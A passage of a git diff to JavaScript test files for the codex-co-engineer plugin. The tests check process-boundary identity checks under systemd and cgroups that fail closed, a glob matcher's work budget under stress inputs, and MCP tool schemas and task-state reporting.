expected_cgroup: receipt.control_group, + expected_unit: receipt.unit, + expected_invocation_id: receipt.invocation_id, + expected_description: receipt.description, + unit_inactive: extras.unit_inactive === true, + cgroup_empty: extras.cgroup_empty === true, + observed_unit: extras.observed_unit ?? receipt.unit, + observed_invocation_id: extras.observed_invocation_id ?? receipt.invocation_id, + observed_description: extras.observed_description ?? receipt.description, + }; +} + +test('exact identity classifier treats matching Z and X as exited only with inactive empty cgroup', () => { + const receipt = lifecycleReceipt(); + const expected = { pid: 4242, start_ticks: '100', nspid: '4242', ns_inode: '4026531836', cgroup: receipt.control_group }; + for (const state of ['Z', 'X']) { + const observed = { pid: 4242, start_ticks: '100', nspid: '4242', ns_inode: '4026531836', state, cgroup: receipt.control_group }; + const blocked = classifyExactProcessIdentity({ + expected, + observed, + boundary: identityBoundary(receipt, { unit_inactive: false, cgroup_empty: false }), + }); + assert.equal(blocked.class, 'visibility_unknown'); + assert.equal(blocked.exited, false); + assert.equal(blocked.cgroup_empty_allowed, false); + const exited = classifyExactProcessIdentity({ + expected, + observed, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(exited.class, 'exited'); + assert.equal(exited.exited, true); + assert.equal(exited.live, false); + assert.equal(exited.cgroup_empty_allowed, true); + assert.equal(PROCESS_IDENTITY_CLASSES.includes(exited.class), true); + } +}); + +test('matching live escaped descendant is containment failure and never empty', () => { + const receipt = lifecycleReceipt(); + const classified = classifyExactProcessIdentity({ + expected: { pid: 4300, start_ticks: '110', nspid: '4300', cgroup: receipt.control_group }, + observed: { + pid: 4300, + start_ticks: '110', + nspid: '4300', + state: 'S', + cgroup: '/user.slice/user-1000.slice/user@1000.service/app.slice/foreign.service', + }, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(classified.class, 'containment_failure_live_outside_cgroup'); + assert.equal(classified.live, true); + assert.equal(classified.cgroup_empty_allowed, false); + assert.equal(classified.code, 'cgroup_not_empty'); +}); + +test('PID reuse via different start ticks fails closed', () => { + const receipt = lifecycleReceipt(); + const classified = classifyExactProcessIdentity({ + expected: { pid: 4242, start_ticks: '100', cgroup: receipt.control_group }, + observed: { pid: 4242, start_ticks: '999', state: 'S', cgroup: receipt.control_group }, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(classified.class, 'pid_reuse'); + assert.equal(classified.fail_closed, true); + assert.equal(classified.cgroup_empty_allowed, false); + assert.equal(classified.code, 'worker_boundary_identity_mismatch'); +}); + +test('namespace mismatch and unreadable proc fail closed', () => { + const receipt = lifecycleReceipt(); + const mismatch = classifyExactProcessIdentity({ + expected: { pid: 4242, start_ticks: '100', nspid: '4242', ns_inode: '4026531836', cgroup: receipt.control_group }, + observed: { + pid: 4242, + start_ticks: '100', + nspid: '1', + ns_inode: '4026531836', + state: 'S', + cgroup: receipt.control_group, + }, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(mismatch.class, 'namespace_mismatch'); + assert.equal(mismatch.fail_closed, true); + const unread = classifyExactProcessIdentity({ + expected: { pid: 4242, start_ticks: '100', cgroup: receipt.control_group }, + observed: { unreadable: true }, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(unread.class, 'visibility_unknown'); + assert.equal(unread.fail_closed, true); + const missingWithoutEmpty = classifyExactProcessIdentity({ + expected: { pid: 4242, start_ticks: '100', cgroup: receipt.control_group }, + observed: { missing: true }, + boundary: identityBoundary(receipt, { unit_inactive: false, cgroup_empty: false }), + }); + assert.equal(missingWithoutEmpty.fail_closed, true); + assert.equal(missingWithoutEmpty.exited, false); +}); + +test('exact inspection refuses inactive_empty for a live escaped remembered descendant', async () => { + const harness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + procCgroups: { 4300: '/user.slice/user-1000.slice/user@1000.service/app.slice/escaped.service' }, + procTicks: { 4300: '110' }, + }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4300, start_ticks: '110', cgroup: harness.receipt.control_group }], + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.empty, false); + assert.equal(inspection.stop_allowed, false); + assert.equal(inspection.code, 'cgroup_not_empty'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4300, start_ticks: '110', cgroup: harness.receipt.control_group }], + timeoutMs: 100, + }), + (error) => error.code === 'cgroup_not_empty', + ); +}); + +test('exact inspection treats matching zombie descendants as exited once the unit is inactive and empty', async () => { + const harness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + procStates: { 4300: 'Z' }, + procPresentWhenEmpty: { 4300: true }, + }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4300, start_ticks: '110', nspid: '4300', cgroup: harness.receipt.control_group }], + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.empty, true); +}); + +test('forged unit identity cannot stop or clean another boundary', async () => { + const harness = createBoundaryHarness(); + const forged = lifecycleReceipt({ token: 'ffffffffffffffffffffffffffffffff', invocation_id: 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee' }); + const inspection = await inspectExactProcessBoundary(forged, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.identity_matched, false); + await assert.rejects( + stopExactProcessBoundary(forged, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_identity_mismatch', + ); + assert.equal(harness.state.stopCalls, 0); +}); + +test('kill(0) success is never treated as live proof by the classifier', () => { + const receipt = lifecycleReceipt(); + const zombie = classifyExactProcessIdentity({ + expected: { pid: 7, start_ticks: '1', cgroup: receipt.control_group }, + observed: { pid: 7, start_ticks: '1', state: 'Z', cgroup: receipt.control_group }, + boundary: identityBoundary(receipt, { unit_inactive: true, cgroup_empty: true }), + }); + assert.equal(zombie.class, 'exited'); + assert.equal(zombie.live, false); +}); + +test('inactive transient shell with cleared post-stop generation can prove inactive_empty', async () => { + const harness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.empty, true); + assert.equal(inspection.identity_matched, true); + assert.equal(inspection.stop_allowed, false); + assert.equal(PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.exact_unit_stop_and_empty_proof, 5_000); +}); + +test('collected systemd shell with rewritten description and cleared InvocationID proves inactive_empty', async () => { + const harness = createBoundaryHarness({ found: false, populated: false }); + harness.state.found = false; + harness.state.populated = false; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4242, start_ticks: '100', nspid: '4242', cgroup: harness.receipt.control_group }], + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.empty, true); + assert.equal(inspection.found, false); + assert.equal(inspection.stop_allowed, false); +}); + +test('inactive transient shell with omitted systemd generation properties can prove inactive_empty', async () => { + const harness = createBoundaryHarness({ activeState: 'inactive', populated: false }); + const original = harness.adapter.execFile; + harness.adapter.execFile = async (command, args) => { + if (args[1] === 'show' && args.some((value) => String(value) === harness.receipt.unit)) { + return { stdout: [ + `Id=${harness.receipt.unit}`, + `Description=${harness.receipt.description}`, + 'LoadState=loaded', + 'ActiveState=failed', + 'KillMode=control-group', + ].join('\n') }; + } + return original(command, args); + }; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4242, start_ticks: '100', nspid: '4242', cgroup: harness.receipt.control_group }], + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.empty, true); +}); + +test('forged inactive unit identity cannot prove inactive_empty', async () => { + const harness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + }); + harness.state.description = 'codex-co-engineer-task:ffffffffffffffffffffffffffffffff'; + const forgedDescription = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(forgedDescription.state, 'unknown'); + assert.equal(forgedDescription.identity_matched, false); + assert.equal(forgedDescription.code, 'worker_boundary_identity_mismatch'); + + const foreign = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + invocationId: 'ffffffffffffffffffffffffffffffff', + }); + const foreignGeneration = await inspectExactProcessBoundary(foreign.receipt, { + adapter: foreign.adapter, + expectedLeader: foreign.leader, + }); + assert.equal(foreignGeneration.state, 'unknown'); + assert.equal(foreignGeneration.code, 'worker_boundary_identity_mismatch'); + await assert.rejects( + stopExactProcessBoundary(foreign.receipt, { adapter: foreign.adapter, expectedLeader: foreign.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_identity_mismatch', + ); + assert.equal(foreign.state.stopCalls, 0); +}); + +test('active unit with missing generation identity fails closed', async () => { + const harness = createBoundaryHarness({ + activeState: 'active', + populated: true, + clearRuntimeGeneration: true, + }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.identity_matched, false); + assert.equal(inspection.stop_allowed, false); + assert.equal(inspection.code, 'worker_boundary_identity_mismatch'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_identity_mismatch', + ); + assert.equal(harness.state.stopCalls, 0); +}); + +test('cleared inactive generation still refuses a live escaped remembered descendant', async () => { + const harness = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + procCgroups: { 4300: '/user.slice/user-1000.slice/user@1000.service/app.slice/escaped.service' }, + procTicks: { 4300: '110' }, + }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + rememberedIdentities: [{ pid: 4300, start_ticks: '110', cgroup: harness.receipt.control_group }], + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.empty, false); + assert.equal(inspection.code, 'cgroup_not_empty'); +}); + +test('cleared inactive generation still fails closed on PID reuse and namespace mismatch', async () => { + const reused = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + procTicks: { 4242: '999' }, + procPresentWhenEmpty: { 4242: true }, + }); + const reuse = await inspectExactProcessBoundary(reused.receipt, { + adapter: reused.adapter, + expectedLeader: reused.leader, + rememberedIdentities: [{ pid: 4242, start_ticks: '100', cgroup: reused.receipt.control_group }], + }); + assert.equal(reuse.state, 'unknown'); + assert.equal(reuse.code, 'worker_boundary_identity_mismatch'); + + const namespaced = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + procNspid: { 4242: '1' }, + procPresentWhenEmpty: { 4242: true }, + }); + const mismatch = await inspectExactProcessBoundary(namespaced.receipt, { + adapter: namespaced.adapter, + expectedLeader: namespaced.leader, + rememberedIdentities: [{ + pid: 4242, + start_ticks: '100', + nspid: '4242', + ns_inode: '4026531836', + cgroup: namespaced.receipt.control_group, + }], + }); + assert.equal(mismatch.state, 'unknown'); + assert.equal(mismatch.code, 'worker_boundary_identity_mismatch'); +}); + +test('cleared inactive generation fails closed when the cgroup is nonempty or unreadable', async () => { + const nonempty = createBoundaryHarness({ + activeState: 'inactive', + populated: true, + clearRuntimeGeneration: true, + }); + const populated = await inspectExactProcessBoundary(nonempty.receipt, { + adapter: nonempty.adapter, + expectedLeader: nonempty.leader, + }); + assert.equal(populated.state, 'unknown'); + assert.equal(populated.code, 'worker_boundary_not_empty'); + + const unread = createBoundaryHarness({ + activeState: 'inactive', + populated: false, + clearRuntimeGeneration: true, + cgroupErrors: { events: 'EPERM' }, + }); + const unknown = await inspectExactProcessBoundary(unread.receipt, { + adapter: unread.adapter, + expectedLeader: unread.leader, + }); + assert.equal(unknown.state, 'unknown'); + assert.equal(unknown.visibility, 'unknown'); + assert.equal(unknown.code, 'worker_boundary_inspect_failed'); +}); + +test('unit disappearance still proves inactive_empty only when the exact cgroup is gone', async () => { + const gone = createBoundaryHarness({ found: false, populated: false, clearRuntimeGeneration: true }); + gone.state.found = false; + gone.state.populated = false; + const empty = await inspectExactProcessBoundary(gone.receipt, { + adapter: gone.adapter, + expectedLeader: gone.leader, + }); + assert.equal(empty.state, 'inactive_empty'); + + const leftover = createBoundaryHarness({ found: false, populated: true, clearRuntimeGeneration: true }); + leftover.state.found = false; + leftover.state.populated = true; + const blocked = await inspectExactProcessBoundary(leftover.receipt, { + adapter: leftover.adapter, + expectedLeader: leftover.leader, + }); + assert.equal(blocked.state, 'unknown'); + assert.equal(blocked.stop_allowed, false); +}); + +test('unit disappearance with a complete unpopulated recorded cgroup may prove inactive_empty', async () => { + const harness = createBoundaryHarness({ found: false, populated: false }); + harness.state.found = false; + harness.state.populated = false; + const original = harness.adapter.readFile; + harness.adapter.readFile = async (file) => { + if (file.endsWith('/cgroup.events')) return 'populated 0\nfrozen 0\n'; + if (file.endsWith('/cgroup.procs')) return '\n'; + return original(file); + }; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.empty, true); +}); + +test('handle stop proves empty after systemd clears inactive generation properties', async () => { + let populated = true; + let active = 'active'; + let invocation = receipt().invocation_id; + let controlGroup = receipt().control_group; + let loadState = 'loaded'; + let description = receipt().description; + const host = { + platform: 'linux', + uid: 1000, + spawn: () => fakeChild(), + execFile: async (_command, args) => { + if (args[1] === 'show') { + return { stdout: [ + `Id=${receipt().unit}`, + `Description=${description}`, + `LoadState=${loadState}`, + `ActiveState=${active}`, + `ControlGroup=${controlGroup}`, + 'KillMode=control-group', + `InvocationID=${invocation}`, + `MainPID=${populated ? 4242 : 0}`, + ].join('\n') }; + } + if (args[1] === 'kill') { + populated = false; + active = 'inactive'; + invocation = ''; + controlGroup = ''; + loadState = 'not-found'; + description = receipt().unit; + } + return { stdout: '' }; + }, + readFile: async (file) => { + if (file.endsWith('/cgroup.events')) { + if (!populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + return 'populated 1\nfrozen 0\n'; + } + if (file.endsWith('/cgroup.procs')) return populated ? '4242\n' : ''; + const procMatch = /\/proc\/(\d+)\/(stat|cgroup|status)$/u.exec(file); + if (!procMatch) return ''; + if (!populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + if (procMatch[2] === 'stat') return procStat({ pid: Number(procMatch[1]), ppid: 1, startTicks: '100' }); + if (procMatch[2] === 'status') return procStatus({ pid: Number(procMatch[1]) }); + return `0::${receipt().control_group}\n`; + }, + readlink: async () => { + if (!populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + return 'pid:[4026531836]'; + }, + sleep: async () => {}, + }; + const handle = restoreProcessBoundary(receipt(), { adapter: host }); + const stopped = await stopProcessBoundary(handle, { adapter: host, timeoutMs: 100 }); + assert.equal(stopped.stopped, true); + assert.equal(stopped.cgroup_empty, true); + const inspection = await inspectExactProcessBoundary(receipt(), { + adapter: host, + expectedLeader: { pid: 4242, process_start_ticks: '100' }, + }); + assert.equal(inspection.state, 'inactive_empty'); +}); + +test('process-boundary source does not mutate remotes or protected refs', async () => { + const source = await readFile(new URL('../mcp/v3/process-boundary.mjs', import.meta.url), 'utf8'); + assert.doesNotMatch(source, /\bgit push\b/u); + assert.doesNotMatch(source, /\bgit rebase\b/u); + assert.doesNotMatch(source, /\bgit merge\b/u); + assert.doesNotMatch(source, /create_pr/u); + assert.equal(source.includes('kill(pid, 0)'), false); + assert.doesNotMatch(source, /process\.kill\(\s*[^,]+,\s*0\s*\)/u); +}); diff --git a/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs b/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs index 14edf5a..17d2c00 100644 --- a/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs +++ b/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs @@ -519,11 +519,33 @@ test('the aggregate batch budget rejects the legal-cap stress before the first m assert.equal(Buffer.byteLength(stressPath, 'utf8'), 4079); const batch = Array.from({ length: REPO_PATH_BATCH_MAX }, () => stressPath); const pattern = Array.from({ length: GLOB_PATTERN_MAX_SEGMENTS }, () => '*[a-d]*?').join('/'); - const startedAt = process.hrtime.bigint(); - matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); - matchError(() => repoGlobMatchesAnyPath(pattern, batch), 'match_work_exceeded'); - const elapsedMs = Number(process.hrtime.bigint() - startedAt) / 1e6; - assert.ok(elapsedMs < 500, `aggregate rejection was not fast: ${elapsedMs}ms`); + // Charged work is reconstructed from the public grammar, not a test hook: + // each '*[a-d]*?' segment costs 1 (segment) + 1 (*) + 2 ([a-d] range) + + // 1 (*) + 1 (?) = 6, so 16 segments charge 96. Each path costs + // 16 * 254 code points + 16 segment slots = 4,080. The legal-cap batch + // product is 96 × 4,177,920 = 401,080,320, above GLOB_MATCH_STEP_BUDGET; + // the same single pattern/path product is 96 × 4,080 = 391,680 and stays + // valid. Rejection is therefore the aggregate pre-match check. + const chargedPatternWork = GLOB_PATTERN_MAX_SEGMENTS * (1 + 1 + 2 + 1 + 1); + const singlePathWork = 16 * 254 + 16; + const totalPathWork = REPO_PATH_BATCH_MAX * singlePathWork; + const aggregateProduct = chargedPatternWork * totalPathWork; + assert.equal(chargedPatternWork, 96); + assert.equal(singlePathWork, 4_080); + assert.equal(totalPathWork, 4_177_920); + assert.equal(aggregateProduct, 401_080_320); + assert.equal(GLOB_MATCH_STEP_BUDGET, 67_108_864); + assert.ok(aggregateProduct > GLOB_MATCH_STEP_BUDGET); + assert.equal(chargedPatternWork * singlePathWork, 391_680); + assert.ok(chargedPatternWork * singlePathWork < GLOB_MATCH_STEP_BUDGET); + const first = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); + const any = matchError(() => repoGlobMatchesAnyPath(pattern, batch), 'match_work_exceeded'); + assert.equal(first.location, 'paths'); + assert.equal(first.message, + `paths exceeds the ${GLOB_MATCH_STEP_BUDGET}-step aggregate batch match budget; chunk the batch.`); + assert.equal(any.code, first.code); + assert.equal(any.location, first.location); + assert.equal(any.message, first.message); // The same batch stays answerable when the product fits the budget. assert.equal(filterRepoPathsByGlob('**', batch).length, REPO_PATH_BATCH_MAX); assert.deepEqual(filterRepoPathsByGlob(pattern, ['src/x.ts']), []); // single-path semantics intact @@ -531,7 +553,6 @@ test('the aggregate batch budget rejects the legal-cap stress before the first m // aggregate batch product crosses the budget. assert.equal(repoGlobMatchesPath(pattern, stressPath), true); // Deterministic typed failure on repeat calls. - const first = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); const again = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); assert.equal(again.code, first.code); assert.equal(again.location, first.location); @@ -727,9 +748,30 @@ test('the matcher module source stays free of mutable dynamic surfaces', () => { for (const required of [ 'callBound(', 'IR_BY_HANDLE', 'chargedPatternSteps', 'reflectApply(functionProtoBind', 'snapshotPathBatch', 'assertValidatedOffsets', 'next[0] = current[0]', + 'assertAggregateBatchBudget', ]) { assert.ok(source.includes(required), `matcher source must contain ${required}`); } + // Bounded validation and pre-match DP rejection are distinct source steps: + // snapshotPathBatch still walks a legal batch; assertAggregateBatchBudget + // then rejects before irMatchesPathSegments allocates any match matrix. + const filterStart = source.indexOf('export function filterRepoPathsByGlob('); + const anyStart = source.indexOf('export function repoGlobMatchesAnyPath('); + assert.ok(filterStart >= 0 && anyStart > filterStart); + const filterSrc = source.slice(filterStart, anyStart); + const anySrc = source.slice(anyStart); + for (const [name, body] of [ + ['filterRepoPathsByGlob', filterSrc], + ['repoGlobMatchesAnyPath', anySrc], + ]) { + const validateAt = body.indexOf('snapshotPathBatch('); + const budgetAt = body.indexOf('assertAggregateBatchBudget('); + const matchAt = body.indexOf('irMatchesPathSegments('); + assert.ok(validateAt >= 0 && budgetAt >= 0 && matchAt >= 0, + `${name} must validate, budget-check, and match in source`); + assert.ok(validateAt < budgetAt && budgetAt < matchAt, + `${name} must reject aggregate budget after bounded validation and before match-matrix DP`); + } }); test('patched intrinsics after import cannot alter acceptance or bounds', async (t) => { @@ -1007,11 +1049,8 @@ test('hostile range-count amplification is rejected deterministically before mat assert.ok(chargedSteps * totalPathWork > GLOB_MATCH_STEP_BUDGET, 'test lost its point: charged accounting no longer rejects'); - const startedAt = process.hrtime.bigint(); const first = matchError(() => filterRepoPathsByGlob(densePattern, batch), 'match_work_exceeded'); const second = matchError(() => repoGlobMatchesAnyPath(densePattern, batch), 'match_work_exceeded'); - const elapsedMs = Number(process.hrtime.bigint() - startedAt) / 1e6; - assert.ok(elapsedMs < 500, `amplification rejection was not fast: ${elapsedMs}ms`); assert.equal(second.code, first.code); assert.equal(second.location, first.location); assert.equal(second.message, first.message); diff --git a/plugins/codex-co-engineer/test/v3-server.test.mjs b/plugins/codex-co-engineer/test/v3-server.test.mjs index 908668d..1f31eac 100644 --- a/plugins/codex-co-engineer/test/v3-server.test.mjs +++ b/plugins/codex-co-engineer/test/v3-server.test.mjs @@ -1,13 +1,13 @@ import assert from 'node:assert/strict'; import { spawn } from 'node:child_process'; -import { mkdtemp, rm } from 'node:fs/promises'; +import { readFileSync } from 'node:fs'; +import { mkdtemp, readFile, rm } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; import readline from 'node:readline'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; -import { readFileSync } from 'node:fs'; import { WAIT_ANY_PROGRESS_DETAIL_HINT, WAIT_ANY_PROGRESS_EVENT_BYTES_MAX, @@ -15,7 +15,12 @@ import { WAIT_ANY_RESPONSE_STRUCTURED_BYTES_MAX, WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, } from '../mcp/v3/compact-task.mjs'; -import { appendTaskEvent, createTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { appendTaskEvent, createTask, taskPaths, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + legitimateCompletedReceipt, + legitimateFailedReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; function currentRuntime() { const proc = readFileSync(`/proc/${process.pid}/stat`, 'utf8'); @@ -94,22 +99,27 @@ test('advertises only the thin public tool surface', async () => { assert.equal(values[0].result.serverInfo.title, 'Codex-Co-Engineer'); assert.equal(values[0].result.serverInfo.version, '3.2.1'); assert.deepEqual(values[1].result.tools.map((tool) => tool.name), ['status', 'delegate', 'task', 'tasks', 'cancel']); + assert.equal(values[1].result.tools.length, 5); const statusTool = values[1].result.tools.find((tool) => tool.name === 'status'); assert.deepEqual(Object.keys(statusTool.inputSchema.properties), [ - 'detail', 'task_limit', 'include_tasks', 'response_mode', + 'detail', 'task_limit', 'include_tasks', 'response_mode', 'run_id', ]); const taskTool = values[1].result.tools.find((tool) => tool.name === 'task'); assert.deepEqual(Object.keys(taskTool.inputSchema.properties), [ 'task_id', 'wait_ms', 'wait_until', 'wake_on_needs_attention', 'view', 'cursor', 'max_bytes', 'extend_expected_duration_ms', 'extend_reason', 'reply', 'response_mode', + 'run_id', 'assignment_id', 'attention', 'run_reply', ]); assert.equal(taskTool.inputSchema.properties.wait_ms.maximum, 14400000); + assert.equal(taskTool.inputSchema.properties.wait_until.enum[0], 'progress'); assert.equal(taskTool.inputSchema.properties.wait_until.enum[1], 'terminal'); + assert.equal(taskTool.inputSchema.properties.wait_until.enum[2], 'decision_or_attention'); assert.deepEqual(taskTool.inputSchema.properties.response_mode.enum, ['structured']); const tasksTool = values[1].result.tools.find((tool) => tool.name === 'tasks'); assert.deepEqual(Object.keys(tasksTool.inputSchema.properties), [ 'detail', 'limit', 'cursor', 'provider', 'state', 'status', 'response_mode', 'task_ids', 'cursors', 'wait_ms', 'wait_until', 'wake_on_needs_attention', + 'run_id', ]); for (const tool of values[1].result.tools) { assert.deepEqual(tool.inputSchema.properties.response_mode.enum, ['structured']); @@ -117,7 +127,7 @@ test('advertises only the thin public tool surface', async () => { } const delegateTool = values[1].result.tools.find((tool) => tool.name === 'delegate'); assert.match(delegateTool.description, /property named repo/u); - assert.deepEqual(delegateTool.inputSchema.required, ['task_id', 'provider', 'repo', 'prompt']); + assert.deepEqual(delegateTool.inputSchema.allOf[0].else.required, ['task_id', 'provider', 'repo', 'prompt']); assert.match(delegateTool.inputSchema.properties.repo.description, /Required property named repo/u); assert.match(delegateTool.inputSchema.properties.repo.description, /\/absolute\/path\/to\/git-worktree/u); assert.match(delegateTool.inputSchema.properties.repo.description, /Do not rename this property to git_root/u); @@ -132,10 +142,13 @@ test('advertises only the thin public tool surface', async () => { assert.ok(Object.hasOwn(delegateTool.inputSchema.properties, 'expected_duration_ms')); assert.equal(delegateTool.inputSchema.properties.expected_duration_ms.maximum, 86400000); assert.equal(delegateTool.inputSchema.properties.timeout_ms.maximum, 103680000); - assert.deepEqual(delegateTool.inputSchema.anyOf, [ + assert.deepEqual(delegateTool.inputSchema.allOf[0].else.anyOf, [ { required: ['expected_duration_ms'] }, { required: ['timeout_ms'] }, ]); + assert.ok(Object.hasOwn(delegateTool.inputSchema.properties, 'run')); + assert.equal(delegateTool.inputSchema.properties.run.properties.assignments.minItems, 1); + assert.equal(delegateTool.inputSchema.properties.run.properties.assignments.maxItems, 8); assert.match(taskTool.description, /event_cursor/u); assert.match(taskTool.description, /Unsolicited stdio callbacks/u); assert.match(taskTool.description, /view=compact/u); @@ -143,8 +156,14 @@ test('advertises only the thin public tool surface', async () => { assert.equal(tasksTool.inputSchema.properties.task_ids.minItems, 1); assert.equal(tasksTool.inputSchema.properties.task_ids.maxItems, 8); assert.equal(tasksTool.inputSchema.properties.wait_ms.maximum, 14400000); - assert.deepEqual(tasksTool.inputSchema.properties.wait_until.enum, ['progress', 'terminal']); + assert.deepEqual(tasksTool.inputSchema.properties.wait_until.enum, [ + 'progress', 'terminal', 'decision_or_attention', + ]); assert.equal(tasksTool.inputSchema.allOf[0].then.required[0], 'task_ids'); + const cancelTool = values[1].result.tools.find((tool) => tool.name === 'cancel'); + assert.ok(Object.hasOwn(cancelTool.inputSchema.properties, 'run_id')); + assert.ok(Object.hasOwn(cancelTool.inputSchema.properties, 'cleanup')); + assert.equal(cancelTool.inputSchema.allOf[0].else.required[0], 'task_id'); }); test('task returns a compact live snapshot and can wait for the next event', async () => { @@ -531,6 +550,202 @@ test('live MCP tool results use structured-first text fallback when response_mod }); }); +test('tasks list, paged full/compact, and wait-any cannot project a completed PING-timeout as succeeded', async () => { + await withServer(async ({ state, request }) => { + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: zeroWorkPingTimeoutReceipt({ cwd: state }), + }); + await createTask({ + root: state, + prompt: 'keep this prompt private', + record: legitimateCompletedReceipt({ cwd: state }), + }); + + const listed = (await request({ + jsonrpc: '2.0', + id: 60, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + const pingListed = listed.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitListed = listed.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingListed.state, 'failed'); + assert.equal(pingListed.status, 'failed'); + assert.notEqual(pingListed.state, 'succeeded'); + assert.equal(legitListed.state, 'succeeded'); + assert.equal(legitListed.status, 'completed'); + + const fullPage = (await request({ + jsonrpc: '2.0', + id: 61, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', limit: 20 } }, + })).result.structuredContent; + assert.equal(fullPage.detail, 'full'); + assert.equal(fullPage.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(fullPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed').state, 'succeeded'); + + const compactPage = (await request({ + jsonrpc: '2.0', + id: 62, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', limit: 20 } }, + })).result.structuredContent; + assert.equal(compactPage.detail, 'compact'); + assert.equal(compactPage.tasks.find((task) => task.id === 'rtruth-ping-timeout').state, 'failed'); + assert.equal(compactPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed').state, 'succeeded'); + + const waitAny = (await request({ + jsonrpc: '2.0', + id: 63, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { + task_ids: ['rtruth-ping-timeout', 'rtruth-legitimate-completed'], + wait_ms: 0, + wait_until: 'terminal', + }, + }, + })).result.structuredContent; + const pingWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-ping-timeout'); + const legitWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-legitimate-completed'); + assert.equal(pingWait.state, 'failed'); + assert.equal(pingWait.task.state, 'failed'); + assert.equal(pingWait.task.status, 'failed'); + assert.notEqual(pingWait.state, 'succeeded'); + assert.equal(legitWait.state, 'succeeded'); + assert.equal(legitWait.task.status, 'completed'); + + const stored = await readFile(taskPaths(state, 'rtruth-ping-timeout').record, 'utf8'); + assert.match(stored, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(stored, /"status": "completed"/u); + }); +}); + +test('tasks state filter classifies before membership, total, and page boundaries', async () => { + await withServer(async ({ state, request }) => { + const stamp = (second, receipt) => ({ + 